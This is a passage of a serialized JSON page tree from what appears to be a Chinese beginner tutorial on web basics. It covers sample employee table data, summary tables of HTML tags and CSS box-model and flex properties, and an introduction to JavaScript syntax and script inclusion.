,">产品经理\u003C\u002F",{"type":18,"tag":297,"props":14944,"children":14945},{"style":9680},[14946],{"type":24,"value":466},{"type":18,"tag":297,"props":14948,"children":14949},{"style":327},[14950],{"type":24,"value":335},{"type":18,"tag":297,"props":14952,"children":14953},{"class":299,"line":13624},[14954,14958,14962,14967,14971],{"type":18,"tag":297,"props":14955,"children":14956},{"style":327},[14957],{"type":24,"value":14328},{"type":18,"tag":297,"props":14959,"children":14960},{"style":9680},[14961],{"type":24,"value":466},{"type":18,"tag":297,"props":14963,"children":14964},{"style":327},[14965],{"type":24,"value":14966},">2022-03-01\u003C\u002F",{"type":18,"tag":297,"props":14968,"children":14969},{"style":9680},[14970],{"type":24,"value":466},{"type":18,"tag":297,"props":14972,"children":14973},{"style":327},[14974],{"type":24,"value":335},{"type":18,"tag":297,"props":14976,"children":14977},{"class":299,"line":13632},[14978,14982,14986,14991,14995],{"type":18,"tag":297,"props":14979,"children":14980},{"style":327},[14981],{"type":24,"value":14328},{"type":18,"tag":297,"props":14983,"children":14984},{"style":9680},[14985],{"type":24,"value":466},{"type":18,"tag":297,"props":14987,"children":14988},{"style":327},[14989],{"type":24,"value":14990},">2025-04-12 16:42:18\u003C\u002F",{"type":18,"tag":297,"props":14992,"children":14993},{"style":9680},[14994],{"type":24,"value":466},{"type":18,"tag":297,"props":14996,"children":14997},{"style":327},[14998],{"type":24,"value":335},{"type":18,"tag":297,"props":15000,"children":15001},{"class":299,"line":13641},[15002,15006,15010,15014,15018,15022,15026,15030,15034,15038,15042,15046,15050],{"type":18,"tag":297,"props":15003,"children":15004},{"style":327},[15005],{"type":24,"value":14328},{"type":18,"tag":297,"props":15007,"children":15008},{"style":9680},[15009],{"type":24,"value":466},{"type":18,"tag":297,"props":15011,"children":15012},{"style":327},[15013],{"type":24,"value":12635},{"type":18,"tag":297,"props":15015,"children":15016},{"style":9680},[15017],{"type":24,"value":14196},{"type":18,"tag":297,"props":15019,"children":15020},{"style":327},[15021],{"type":24,"value":14760},{"type":18,"tag":297,"props":15023,"children":15024},{"style":9680},[15025],{"type":24,"value":14196},{"type":18,"tag":297,"props":15027,"children":15028},{"style":327},[15029],{"type":24,"value":12626},{"type":18,"tag":297,"props":15031,"children":15032},{"style":9680},[15033],{"type":24,"value":14196},{"type":18,"tag":297,"props":15035,"children":15036},{"style":327},[15037],{"type":24,"value":14777},{"type":18,"tag":297,"props":15039,"children":15040},{"style":9680},[15041],{"type":24,"value":14196},{"type":18,"tag":297,"props":15043,"children":15044},{"style":327},[15045],{"type":24,"value":10600},{"type":18,"tag":297,"props":15047,"children":15048},{"style":9680},[15049],{"type":24,"value":466},{"type":18,"tag":297,"props":15051,"children":15052},{"style":327},[15053],{"type":24,"value":335},{"type":18,"tag":297,"props":15055,"children":15056},{"class":299,"line":13724},[15057,15061,15065],{"type":18,"tag":297,"props":15058,"children":15059},{"style":327},[15060],{"type":24,"value":13597},{"type":18,"tag":297,"props":15062,"children":15063},{"style":9680},[15064],{"type":24,"value":439},{"type":18,"tag":297,"props":15066,"children":15067},{"style":327},[15068],{"type":24,"value":335},{"type":18,"tag":297,"props":15070,"children":15071},{"class":299,"line":13732},[15072,15076,15080],{"type":18,"tag":297,"props":15073,"children":15074},{"style":327},[15075],{"type":24,"value":12451},{"type":18,"tag":297,"props":15077,"children":15078},{"style":9680},[15079],{"type":24,"value":439},{"type":18,"tag":297,"props":15081,"children":15082},{"style":327},[15083],{"type":24,"value":335},{"type":18,"tag":297,"props":15085,"children":15086},{"class":299,"line":13786},[15087,15091,15095,15100,15104],{"type":18,"tag":297,"props":15088,"children":15089},{"style":327},[15090],{"type":24,"value":14328},{"type":18,"tag":297,"props":15092,"children":15093},{"style":9680},[15094],{"type":24,"value":466},{"type":18,"tag":297,"props":15096,"children":15097},{"style":327},[15098],{"type":24,"value":15099},">王五\u003C\u002F",{"type":18,"tag":297,"props":15101,"children":15102},{"style":9680},[15103],{"type":24,"value":466},{"type":18,"tag":297,"props":15105,"children":15106},{"style":327},[15107],{"type":24,"value":335},{"type":18,"tag":297,"props":15109,"children":15110},{"class":299,"line":13794},[15111,15115,15119,15123,15127],{"type":18,"tag":297,"props":15112,"children":15113},{"style":327},[15114],{"type":24,"value":14328},{"type":18,"tag":297,"props":15116,"children":15117},{"style":9680},[15118],{"type":24,"value":466},{"type":18,"tag":297,"props":15120,"children":15121},{"style":327},[15122],{"type":24,"value":14598},{"type":18,"tag":297,"props":15124,"children":15125},{"style":9680},[15126],{"type":24,"value":466},{"type":18,"tag":297,"props":15128,"children":15129},{"style":327},[15130],{"type":24,"value":335},{"type":18,"tag":297,"props":15132,"children":15133},{"class":299,"line":13803},[15134,15138,15142,15146,15150,15154,15158,15162,15166,15170,15174,15178,15182],{"type":18,"tag":297,"props":15135,"children":15136},{"style":327},[15137],{"type":24,"value":14328},{"type":18,"tag":297,"props":15139,"children":15140},{"style":9680},[15141],{"type":24,"value":466},{"type":18,"tag":297,"props":15143,"children":15144},{"style":327},[15145],{"type":24,"value":12635},{"type":18,"tag":297,"props":15147,"children":15148},{"style":9680},[15149],{"type":24,"value":54},{"type":18,"tag":297,"props":15151,"children":15152},{"style":304},[15153],{"type":24,"value":10567},{"type":18,"tag":297,"props":15155,"children":15156},{"style":327},[15157],{"type":24,"value":9692},{"type":18,"tag":297,"props":15159,"children":15160},{"style":310},[15161],{"type":24,"value":14638},{"type":18,"tag":297,"props":15163,"children":15164},{"style":304},[15165],{"type":24,"value":14643},{"type":18,"tag":297,"props":15167,"children":15168},{"style":327},[15169],{"type":24,"value":9692},{"type":18,"tag":297,"props":15171,"children":15172},{"style":310},[15173],{"type":24,"value":14652},{"type":18,"tag":297,"props":15175,"children":15176},{"style":327},[15177],{"type":24,"value":10600},{"type":18,"tag":297,"props":15179,"children":15180},{"style":9680},[15181],{"type":24,"value":466},{"type":18,"tag":297,"props":15183,"children":15184},{"style":327},[15185],{"type":24,"value":335},{"type":18,"tag":297,"props":15187,"children":15188},{"class":299,"line":13845},[15189,15193,15197,15202,15206],{"type":18,"tag":297,"props":15190,"children":15191},{"style":327},[15192],{"type":24,"value":14328},{"type":18,"tag":297,"props":15194,"children":15195},{"style":9680},[15196],{"type":24,"value":466},{"type":18,"tag":297,"props":15198,"children":15199},{"style":327},[15200],{"type":24,"value":15201},">后端开发工程师\u003C\u002F",{"type":18,"tag":297,"props":15203,"children":15204},{"style":9680},[15205],{"type":24,"value":466},{"type":18,"tag":297,"props":15207,"children":15208},{"style":327},[15209],{"type":24,"value":335},{"type":18,"tag":297,"props":15211,"children":15212},{"class":299,"line":13887},[15213,15217,15221,15226,15230],{"type":18,"tag":297,"props":15214,"children":15215},{"style":327},[15216],{"type":24,"value":14328},{"type":18,"tag":297,"props":15218,"children":15219},{"style":9680},[15220],{"type":24,"value":466},{"type":18,"tag":297,"props":15222,"children":15223},{"style":327},[15224],{"type":24,"value":15225},">2024-01-08\u003C\u002F",{"type":18,"tag":297,"props":15227,"children":15228},{"style":9680},[15229],{"type":24,"value":466},{"type":18,"tag":297,"props":15231,"children":15232},{"style":327},[15233],{"type":24,"value":335},{"type":18,"tag":297,"props":15235,"children":15236},{"class":299,"line":13927},[15237,15241,15245,15250,15254],{"type":18,"tag":297,"props":15238,"children":15239},{"style":327},[15240],{"type":24,"value":14328},{"type":18,"tag":297,"props":15242,"children":15243},{"style":9680},[15244],{"type":24,"value":466},{"type":18,"tag":297,"props":15246,"children":15247},{"style":327},[15248],{"type":24,"value":15249},">2025-04-13 09:05:32\u003C\u002F",{"type":18,"tag":297,"props":15251,"children":15252},{"style":9680},[15253],{"type":24,"value":466},{"type":18,"tag":297,"props":15255,"children":15256},{"style":327},[15257],{"type":24,"value":335},{"type":18,"tag":297,"props":15259,"children":15260},{"class":299,"line":13943},[15261,15265,15269,15273,15277,15281,15285,15289,15293,15297,15301,15305,15309],{"type":18,"tag":297,"props":15262,"children":15263},{"style":327},[15264],{"type":24,"value":14328},{"type":18,"tag":297,"props":15266,"children":15267},{"style":9680},[15268],{"type":24,"value":466},{"type":18,"tag":297,"props":15270,"children":15271},{"style":327},[15272],{"type":24,"value":12635},{"type":18,"tag":297,"props":15274,"children":15275},{"style":9680},[15276],{"type":24,"value":14196},{"type":18,"tag":297,"props":15278,"children":15279},{"style":327},[15280],{"type":24,"value":14760},{"type":18,"tag":297,"props":15282,"children":15283},{"style":9680},[15284],{"type":24,"value":14196},{"type":18,"tag":297,"props":15286,"children":15287},{"style":327},[15288],{"type":24,"value":12626},{"type":18,"tag":297,"props":15290,"children":15291},{"style":9680},[15292],{"type":24,"value":14196},{"type":18,"tag":297,"props":15294,"children":15295},{"style":327},[15296],{"type":24,"value":14777},{"type":18,"tag":297,"props":15298,"children":15299},{"style":9680},[15300],{"type":24,"value":14196},{"type":18,"tag":297,"props":15302,"children":15303},{"style":327},[15304],{"type":24,"value":10600},{"type":18,"tag":297,"props":15306,"children":15307},{"style":9680},[15308],{"type":24,"value":466},{"type":18,"tag":297,"props":15310,"children":15311},{"style":327},[15312],{"type":24,"value":335},{"type":18,"tag":297,"props":15314,"children":15316},{"class":299,"line":15315},43,[15317,15321,15325],{"type":18,"tag":297,"props":15318,"children":15319},{"style":327},[15320],{"type":24,"value":13597},{"type":18,"tag":297,"props":15322,"children":15323},{"style":9680},[15324],{"type":24,"value":439},{"type":18,"tag":297,"props":15326,"children":15327},{"style":327},[15328],{"type":24,"value":335},{"type":18,"tag":297,"props":15330,"children":15332},{"class":299,"line":15331},44,[15333,15337,15341],{"type":18,"tag":297,"props":15334,"children":15335},{"style":327},[15336],{"type":24,"value":14512},{"type":18,"tag":297,"props":15338,"children":15339},{"style":9680},[15340],{"type":24,"value":459},{"type":18,"tag":297,"props":15342,"children":15343},{"style":327},[15344],{"type":24,"value":335},{"type":18,"tag":297,"props":15346,"children":15348},{"class":299,"line":15347},45,[15349,15353,15357],{"type":18,"tag":297,"props":15350,"children":15351},{"style":327},[15352],{"type":24,"value":11688},{"type":18,"tag":297,"props":15354,"children":15355},{"style":9680},[15356],{"type":24,"value":431},{"type":18,"tag":297,"props":15358,"children":15359},{"style":327},[15360],{"type":24,"value":335},{"type":18,"tag":27,"props":15362,"children":15364},{"id":15363},"总结",[15365],{"type":24,"value":15363},{"type":18,"tag":431,"props":15367,"children":15368},{},[15369,15388],{"type":18,"tag":435,"props":15370,"children":15371},{},[15372],{"type":18,"tag":439,"props":15373,"children":15374},{},[15375,15380,15384],{"type":18,"tag":443,"props":15376,"children":15377},{"align":5772},[15378],{"type":24,"value":15379},"类别",{"type":18,"tag":443,"props":15381,"children":15382},{"align":5772},[15383],{"type":24,"value":10216},{"type":18,"tag":443,"props":15385,"children":15386},{"align":5772},[15387],{"type":24,"value":843},{"type":18,"tag":459,"props":15389,"children":15390},{},[15391,15418,15444,15481,15501,15523,15550,15576,15611,15645,15666,15686],{"type":18,"tag":439,"props":15392,"children":15393},{},[15394,15399,15413],{"type":18,"tag":466,"props":15395,"children":15396},{"align":5772},[15397],{"type":24,"value":15398},"文本处理标签",{"type":18,"tag":466,"props":15400,"children":15401},{"align":5772},[15402,15407,15408],{"type":18,"tag":74,"props":15403,"children":15405},{"className":15404},[],[15406],{"type":24,"value":9007},{"type":24,"value":8558},{"type":18,"tag":74,"props":15409,"children":15411},{"className":15410},[],[15412],{"type":24,"value":9547},{"type":18,"tag":466,"props":15414,"children":15415},{"align":5772},[15416],{"type":24,"value":15417},"一级标题 - 六级标题",{"type":18,"tag":439,"props":15419,"children":15420},{},[15421,15424,15439],{"type":18,"tag":466,"props":15422,"children":15423},{"align":5772},[],{"type":18,"tag":466,"props":15425,"children":15426},{"align":5772},[15427,15432,15433],{"type":18,"tag":74,"props":15428,"children":15430},{"className":15429},[],[15431],{"type":24,"value":10939},{"type":24,"value":1942},{"type":18,"tag":74,"props":15434,"children":15436},{"className":15435},[],[15437],{"type":24,"value":15438},"\u003Cp>",{"type":18,"tag":466,"props":15440,"children":15441},{"align":5772},[15442],{"type":24,"value":15443},"换行、段落",{"type":18,"tag":439,"props":15445,"children":15446},{},[15447,15450,15476],{"type":18,"tag":466,"props":15448,"children":15449},{"align":5772},[],{"type":18,"tag":466,"props":15451,"children":15452},{"align":5772},[15453,15458,15459,15464,15465,15470,15471],{"type":18,"tag":74,"props":15454,"children":15456},{"className":15455},[],[15457],{"type":24,"value":11027},{"type":24,"value":1942},{"type":18,"tag":74,"props":15460,"children":15462},{"className":15461},[],[15463],{"type":24,"value":11094},{"type":24,"value":1942},{"type":18,"tag":74,"props":15466,"children":15468},{"className":15467},[],[15469],{"type":24,"value":11061},{"type":24,"value":1942},{"type":18,"tag":74,"props":15472,"children":15474},{"className":15473},[],[15475],{"type":24,"value":11127},{"type":18,"tag":466,"props":15477,"children":15478},{"align":5772},[15479],{"type":24,"value":15480},"文本加粗、倾斜、下划线、删除线",{"type":18,"tag":439,"props":15482,"children":15483},{},[15484,15487,15496],{"type":18,"tag":466,"props":15485,"children":15486},{"align":5772},[],{"type":18,"tag":466,"props":15488,"children":15489},{"align":5772},[15490],{"type":18,"tag":74,"props":15491,"children":15493},{"className":15492},[],[15494],{"type":24,"value":15495},"\u003Ca href=\"...\">",{"type":18,"tag":466,"props":15497,"children":15498},{"align":5772},[15499],{"type":24,"value":15500},"超链接（属性：href、target）",{"type":18,"tag":439,"props":15502,"children":15503},{},[15504,15509,15518],{"type":18,"tag":466,"props":15505,"children":15506},{"align":5772},[15507],{"type":24,"value":15508},"图片、音视频标签",{"type":18,"tag":466,"props":15510,"children":15511},{"align":5772},[15512],{"type":18,"tag":74,"props":15513,"children":15515},{"className":15514},[],[15516],{"type":24,"value":15517},"\u003Cimg src=\"...\">",{"type":18,"tag":466,"props":15519,"children":15520},{"align":5772},[15521],{"type":24,"value":15522},"图片（路径：绝对路径、相对路径）",{"type":18,"tag":439,"props":15524,"children":15525},{},[15526,15529,15545],{"type":18,"tag":466,"props":15527,"children":15528},{"align":5772},[],{"type":18,"tag":466,"props":15530,"children":15531},{"align":5772},[15532,15538,15539],{"type":18,"tag":74,"props":15533,"children":15535},{"className":15534},[],[15536],{"type":24,"value":15537},"\u003Caudio src=\"...\">",{"type":24,"value":1942},{"type":18,"tag":74,"props":15540,"children":15542},{"className":15541},[],[15543],{"type":24,"value":15544},"\u003Cvideo src=\"...\">",{"type":18,"tag":466,"props":15546,"children":15547},{"align":5772},[15548],{"type":24,"value":15549},"音频、视频",{"type":18,"tag":439,"props":15551,"children":15552},{},[15553,15557,15571],{"type":18,"tag":466,"props":15554,"children":15555},{"align":5772},[15556],{"type":24,"value":11290},{"type":18,"tag":466,"props":15558,"children":15559},{"align":5772},[15560,15565,15566],{"type":18,"tag":74,"props":15561,"children":15563},{"className":15562},[],[15564],{"type":24,"value":11326},{"type":24,"value":1942},{"type":18,"tag":74,"props":15567,"children":15569},{"className":15568},[],[15570],{"type":24,"value":11369},{"type":18,"tag":466,"props":15572,"children":15573},{"align":5772},[15574],{"type":24,"value":15575},"没有语义的布局标签，配合 CSS 实现页面布局",{"type":18,"tag":439,"props":15577,"children":15578},{},[15579,15583,15606],{"type":18,"tag":466,"props":15580,"children":15581},{"align":5772},[15582],{"type":24,"value":14236},{"type":18,"tag":466,"props":15584,"children":15585},{"align":5772},[15586,15592,15593,15599,15600],{"type":18,"tag":74,"props":15587,"children":15589},{"className":15588},[],[15590],{"type":24,"value":15591},"\u003Ctable>",{"type":24,"value":1942},{"type":18,"tag":74,"props":15594,"children":15596},{"className":15595},[],[15597],{"type":24,"value":15598},"\u003Cthead>",{"type":24,"value":1942},{"type":18,"tag":74,"props":15601,"children":15603},{"className":15602},[],[15604],{"type":24,"value":15605},"\u003Ctbody>",{"type":18,"tag":466,"props":15607,"children":15608},{"align":5772},[15609],{"type":24,"value":15610},"表格、表头、表格主体",{"type":18,"tag":439,"props":15612,"children":15613},{},[15614,15617,15640],{"type":18,"tag":466,"props":15615,"children":15616},{"align":5772},[],{"type":18,"tag":466,"props":15618,"children":15619},{"align":5772},[15620,15626,15627,15633,15634],{"type":18,"tag":74,"props":15621,"children":15623},{"className":15622},[],[15624],{"type":24,"value":15625},"\u003Ctr>",{"type":24,"value":11021},{"type":18,"tag":74,"props":15628,"children":15630},{"className":15629},[],[15631],{"type":24,"value":15632},"\u003Cth>",{"type":24,"value":1942},{"type":18,"tag":74,"props":15635,"children":15637},{"className":15636},[],[15638],{"type":24,"value":15639},"\u003Ctd>",{"type":18,"tag":466,"props":15641,"children":15642},{"align":5772},[15643],{"type":24,"value":15644},"行 \u002F 单元格",{"type":18,"tag":439,"props":15646,"children":15647},{},[15648,15653,15661],{"type":18,"tag":466,"props":15649,"children":15650},{"align":5772},[15651],{"type":24,"value":15652},"表单标签",{"type":18,"tag":466,"props":15654,"children":15655},{"align":5772},[15656],{"type":18,"tag":74,"props":15657,"children":15659},{"className":15658},[],[15660],{"type":24,"value":10432},{"type":18,"tag":466,"props":15662,"children":15663},{"align":5772},[15664],{"type":24,"value":15665},"定义表单（属性：action、method）",{"type":18,"tag":439,"props":15667,"children":15668},{},[15669,15672,15681],{"type":18,"tag":466,"props":15670,"children":15671},{"align":5772},[],{"type":18,"tag":466,"props":15673,"children":15674},{"align":5772},[15675],{"type":18,"tag":74,"props":15676,"children":15678},{"className":15677},[],[15679],{"type":24,"value":15680},"\u003Cinput type=\"text\u002Fbutton\">",{"type":18,"tag":466,"props":15682,"children":15683},{"align":5772},[15684],{"type":24,"value":15685},"表单项（文本输入框、按钮...）",{"type":18,"tag":439,"props":15687,"children":15688},{},[15689,15692,15707],{"type":18,"tag":466,"props":15690,"children":15691},{"align":5772},[],{"type":18,"tag":466,"props":15693,"children":15694},{"align":5772},[15695,15700,15701],{"type":18,"tag":74,"props":15696,"children":15698},{"className":15697},[],[15699],{"type":24,"value":12071},{"type":24,"value":11021},{"type":18,"tag":74,"props":15702,"children":15704},{"className":15703},[],[15705],{"type":24,"value":15706},"\u003Coption>",{"type":18,"tag":466,"props":15708,"children":15709},{"align":5772},[15710],{"type":24,"value":15711},"表单项（下拉列表 \u002F 选项）",{"type":18,"tag":431,"props":15713,"children":15714},{},[15715,15733],{"type":18,"tag":435,"props":15716,"children":15717},{},[15718],{"type":18,"tag":439,"props":15719,"children":15720},{},[15721,15725,15729],{"type":18,"tag":443,"props":15722,"children":15723},{"align":5772},[15724],{"type":24,"value":15379},{"type":18,"tag":443,"props":15726,"children":15727},{"align":5772},[15728],{"type":24,"value":12135},{"type":18,"tag":443,"props":15730,"children":15731},{"align":5772},[15732],{"type":24,"value":843},{"type":18,"tag":459,"props":15734,"children":15735},{},[15736,15756,15781,15813,15833,15853,15873,15893,15918,15953],{"type":18,"tag":439,"props":15737,"children":15738},{},[15739,15747,15752],{"type":18,"tag":466,"props":15740,"children":15741},{"align":5772},[15742],{"type":18,"tag":105,"props":15743,"children":15744},{},[15745],{"type":24,"value":15746},"盒子模型",{"type":18,"tag":466,"props":15748,"children":15749},{"align":5772},[15750],{"type":24,"value":15751},"作用：控制元素尺寸、内边距、边框、外边距，从而控制页面的布局展示",{"type":18,"tag":466,"props":15753,"children":15754},{"align":5772},[15755],{"type":24,"value":4495},{"type":18,"tag":439,"props":15757,"children":15758},{},[15759,15762,15776],{"type":18,"tag":466,"props":15760,"children":15761},{"align":5772},[],{"type":18,"tag":466,"props":15763,"children":15764},{"align":5772},[15765,15770,15771],{"type":18,"tag":74,"props":15766,"children":15768},{"className":15767},[],[15769],{"type":24,"value":11352},{"type":24,"value":1942},{"type":18,"tag":74,"props":15772,"children":15774},{"className":15773},[],[15775],{"type":24,"value":11359},{"type":18,"tag":466,"props":15777,"children":15778},{"align":5772},[15779],{"type":24,"value":15780},"高度、宽度",{"type":18,"tag":439,"props":15782,"children":15783},{},[15784,15787,15796],{"type":18,"tag":466,"props":15785,"children":15786},{"align":5772},[],{"type":18,"tag":466,"props":15788,"children":15789},{"align":5772},[15790],{"type":18,"tag":74,"props":15791,"children":15793},{"className":15792},[],[15794],{"type":24,"value":15795},"box-sizing",{"type":18,"tag":466,"props":15797,"children":15798},{"align":5772},[15799,15801,15807,15808],{"type":24,"value":15800},"高度和宽度的计算方式；",{"type":18,"tag":74,"props":15802,"children":15804},{"className":15803},[],[15805],{"type":24,"value":15806},"content-box",{"type":24,"value":1942},{"type":18,"tag":74,"props":15809,"children":15811},{"className":15810},[],[15812],{"type":24,"value":11596},{"type":18,"tag":439,"props":15814,"children":15815},{},[15816,15819,15828],{"type":18,"tag":466,"props":15817,"children":15818},{"align":5772},[],{"type":18,"tag":466,"props":15820,"children":15821},{"align":5772},[15822],{"type":18,"tag":74,"props":15823,"children":15825},{"className":15824},[],[15826],{"type":24,"value":15827},"padding",{"type":18,"tag":466,"props":15829,"children":15830},{"align":5772},[15831],{"type":24,"value":15832},"内边距（上、右、下、左；上下、左右）",{"type":18,"tag":439,"props":15834,"children":15835},{},[15836,15839,15848],{"type":18,"tag":466,"props":15837,"children":15838},{"align":5772},[],{"type":18,"tag":466,"props":15840,"children":15841},{"align":5772},[15842],{"type":18,"tag":74,"props":15843,"children":15845},{"className":15844},[],[15846],{"type":24,"value":15847},"border",{"type":18,"tag":466,"props":15849,"children":15850},{"align":5772},[15851],{"type":24,"value":15852},"边框",{"type":18,"tag":439,"props":15854,"children":15855},{},[15856,15859,15868],{"type":18,"tag":466,"props":15857,"children":15858},{"align":5772},[],{"type":18,"tag":466,"props":15860,"children":15861},{"align":5772},[15862],{"type":18,"tag":74,"props":15863,"children":15865},{"className":15864},[],[15866],{"type":24,"value":15867},"margin",{"type":18,"tag":466,"props":15869,"children":15870},{"align":5772},[15871],{"type":24,"value":15872},"外边距（上、右、下、左；上下、左右）",{"type":18,"tag":439,"props":15874,"children":15875},{},[15876,15884,15889],{"type":18,"tag":466,"props":15877,"children":15878},{"align":5772},[15879],{"type":18,"tag":105,"props":15880,"children":15881},{},[15882],{"type":24,"value":15883},"flex 弹性布局",{"type":18,"tag":466,"props":15885,"children":15886},{"align":5772},[15887],{"type":24,"value":15888},"作用：是一种一维的布局模型，为元素之间提供强大的空间分布和对齐能力",{"type":18,"tag":466,"props":15890,"children":15891},{"align":5772},[15892],{"type":24,"value":4495},{"type":18,"tag":439,"props":15894,"children":15895},{},[15896,15899,15908],{"type":18,"tag":466,"props":15897,"children":15898},{"align":5772},[],{"type":18,"tag":466,"props":15900,"children":15901},{"align":5772},[15902],{"type":18,"tag":74,"props":15903,"children":15905},{"className":15904},[],[15906],{"type":24,"value":15907},"display",{"type":18,"tag":466,"props":15909,"children":15910},{"align":5772},[15911,15916],{"type":18,"tag":74,"props":15912,"children":15914},{"className":15913},[],[15915],{"type":24,"value":11904},{"type":24,"value":15917},"：使用 flex 布局",{"type":18,"tag":439,"props":15919,"children":15920},{},[15921,15924,15933],{"type":18,"tag":466,"props":15922,"children":15923},{"align":5772},[],{"type":18,"tag":466,"props":15925,"children":15926},{"align":5772},[15927],{"type":18,"tag":74,"props":15928,"children":15930},{"className":15929},[],[15931],{"type":24,"value":15932},"flex-direction",{"type":18,"tag":466,"props":15934,"children":15935},{"align":5772},[15936,15938,15943,15945,15951],{"type":24,"value":15937},"设置主轴方向（",{"type":18,"tag":74,"props":15939,"children":15941},{"className":15940},[],[15942],{"type":24,"value":11930},{"type":24,"value":15944},"：x 轴，水平方向；",{"type":18,"tag":74,"props":15946,"children":15948},{"className":15947},[],[15949],{"type":24,"value":15950},"column",{"type":24,"value":15952},"：y 轴，垂直方向）",{"type":18,"tag":439,"props":15954,"children":15955},{},[15956,15959,15968],{"type":18,"tag":466,"props":15957,"children":15958},{"align":5772},[],{"type":18,"tag":466,"props":15960,"children":15961},{"align":5772},[15962],{"type":18,"tag":74,"props":15963,"children":15965},{"className":15964},[],[15966],{"type":24,"value":15967},"justify-content",{"type":18,"tag":466,"props":15969,"children":15970},{"align":5772},[15971],{"type":24,"value":15972},"子元素在主轴上的对齐方式",{"type":18,"tag":121,"props":15974,"children":15975},{},[],{"type":18,"tag":19,"props":15977,"children":15979},{"id":15978},"_4-javascript",[15980],{"type":24,"value":15981},"4 JavaScript",{"type":18,"tag":27,"props":15983,"children":15985},{"id":15984},"_41-什么是-javascript",[15986],{"type":24,"value":15987},"4.1 什么是 JavaScript",{"type":18,"tag":34,"props":15989,"children":15990},{},[15991,15996],{"type":18,"tag":105,"props":15992,"children":15993},{},[15994],{"type":24,"value":15995},"JavaScript（简称：JS）",{"type":24,"value":15997}," 是一门跨平台、面向对象的脚本语言，用来控制网页行为，实现页面的交互效果。JavaScript 和 Java 是完全不同的语言，不论是概念还是设计，但是基础语法类似。",{"type":18,"tag":34,"props":15999,"children":16000},{},[16001],{"type":18,"tag":105,"props":16002,"children":16003},{},[16004],{"type":24,"value":16005},"组成",{"type":18,"tag":210,"props":16007,"children":16008},{},[16009,16019,16029],{"type":18,"tag":158,"props":16010,"children":16011},{},[16012,16017],{"type":18,"tag":105,"props":16013,"children":16014},{},[16015],{"type":24,"value":16016},"ECMAScript",{"type":24,"value":16018},"：规定了 JS 基础语法核心知识，包括变量、数据类型、流程控制、函数、对象等。",{"type":18,"tag":158,"props":16020,"children":16021},{},[16022,16027],{"type":18,"tag":105,"props":16023,"children":16024},{},[16025],{"type":24,"value":16026},"BOM",{"type":24,"value":16028},"：浏览器对象模型，用于操作浏览器本身，如：页面弹窗、地址栏操作、关闭窗口等。",{"type":18,"tag":158,"props":16030,"children":16031},{},[16032,16037],{"type":18,"tag":105,"props":16033,"children":16034},{},[16035],{"type":24,"value":16036},"DOM",{"type":24,"value":16038},"：文档对象模型，用于操作 HTML 文档，如：改变标签内的内容、改变标签内字体样式等。",{"type":18,"tag":96,"props":16040,"children":16041},{},[16042],{"type":18,"tag":34,"props":16043,"children":16044},{},[16045,16050],{"type":18,"tag":105,"props":16046,"children":16047},{},[16048],{"type":24,"value":16049},"ECMA",{"type":24,"value":16051},"：ECMA 国际（前身为欧洲计算机制造商协会），制定了标准化的脚本程序设计语言 ECMAScript，这种语言得到广泛应用。而 JavaScript 是遵守 ECMAScript 的标准的（ES2024 是最新版本）。",{"type":18,"tag":27,"props":16053,"children":16055},{"id":16054},"_42-js引入方式",[16056],{"type":24,"value":16057},"4.2 JS引入方式",{"type":18,"tag":34,"props":16059,"children":16060},{},[16061],{"type":18,"tag":105,"props":16062,"children":16063},{},[16064],{"type":24,"value":16065},"内部脚本",{"type":18,"tag":34,"props":16067,"children":16068},{},[16069],{"type":24,"value":16070},"将 JS 代码定义在 HTML 页面中",{"type":18,"tag":210,"props":16072,"children":16073},{},[16074,16087,16098],{"type":18,"tag":158,"props":16075,"children":16076},{},[16077,16079,16085],{"type":24,"value":16078},"JavaScript 代码必须位于 ",{"type":18,"tag":74,"props":16080,"children":16082},{"className":16081},[],[16083],{"type":24,"value":16084},"\u003Cscript>\u003C\u002Fscript>",{"type":24,"value":16086}," 标签之间",{"type":18,"tag":158,"props":16088,"children":16089},{},[16090,16092],{"type":24,"value":16091},"在 HTML 文档中，可以在任意地方，放置任意数量的 ",{"type":18,"tag":74,"props":16093,"children":16095},{"className":16094},[],[16096],{"type":24,"value":16097},"\u003Cscript>",{"type":18,"tag":158,"props":16099,"children":16100},{},[16101,16103,16108],{"type":24,"value":16102},"一般会把脚本置于 ",{"type":18,"tag":74,"props":16104,"children":16106},{"className":16105},[],[16107],{"type":24,"value":9092},{"type":24,"value":16109}," 元素的底部，可改善显示速度",{"type":18,"tag":34,"props":16111,"children":16112},{},[16113],{"type":18,"tag":105,"props":16114,"children":16115},{},[16116],{"type":24,"value":16117},"外部脚本",{"type":18,"tag":34,"props":16119,"children":16120},{},[16121],{"type":24,"value":16122},"将 JS 代码定义在外部 JS 文件中，然后引入到 HTML 页面中",{"type":18,"tag":34,"props":16124,"children":16125},{},[16126],{"type":18,"tag":54,"props":16127,"children":16130},{"alt":16128,"src":16129},"1776042509514","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1776042509514.png",[],{"type":18,"tag":27,"props":16132,"children":16134},{"id":16133},"_43-变量-常量",[16135],{"type":24,"value":16136},"4.3 变量 & 常量",{"type":18,"tag":210,"props":16138,"children":16139},{},[16140],{"type":18,"tag":158,"props":16141,"children":16142},{},[16143,16145,16150,16152,16157],{"type":24,"value":16144},"JS 中用 ",{"type":18,"tag":105,"props":16146,"children":16147},{},[16148],{"type":24,"value":16149},"let",{"type":24,"value":16151}," 关键字来声明变量（",{"type":18,"tag":105,"props":16153,"children":16154},{},[16155],{"type":24,"value":16156},"弱类型语言",{"type":24,"value":16158},"，变量可以存放不同类型的值）。",{"type":18,"tag":34,"props":16160,"children":16161},{},[16162],{"type":18,"tag":105,"props":16163,"children":16164},{},[16165],{"type":24,"value":16166},"变量名命名规则",{"type":18,"tag":154,"props":16168,"children":16169},{},[16170,16187,16213],{"type":18,"tag":158,"props":16171,"children":16172},{},[16173,16175,16180,16182],{"type":24,"value":16174},"只能用 ",{"type":18,"tag":105,"props":16176,"children":16177},{},[16178],{"type":24,"value":16179},"字母、数字、下划线（_）、美元符号（$）",{"type":24,"value":16181}," 组成，且",{"type":18,"tag":105,"props":16183,"children":16184},{},[16185],{"type":24,"value":16186},"数字不能开头",{"type":18,"tag":158,"props":16188,"children":16189},{},[16190,16192,16197,16199,16204,16205,16211],{"type":24,"value":16191},"变量名",{"type":18,"tag":105,"props":16193,"children":16194},{},[16195],{"type":24,"value":16196},"严格区分大小写",{"type":24,"value":16198},"，如 ",{"type":18,"tag":74,"props":16200,"children":16202},{"className":16201},[],[16203],{"type":24,"value":12133},{"type":24,"value":8507},{"type":18,"tag":74,"props":16206,"children":16208},{"className":16207},[],[16209],{"type":24,"value":16210},"Name",{"type":24,"value":16212}," 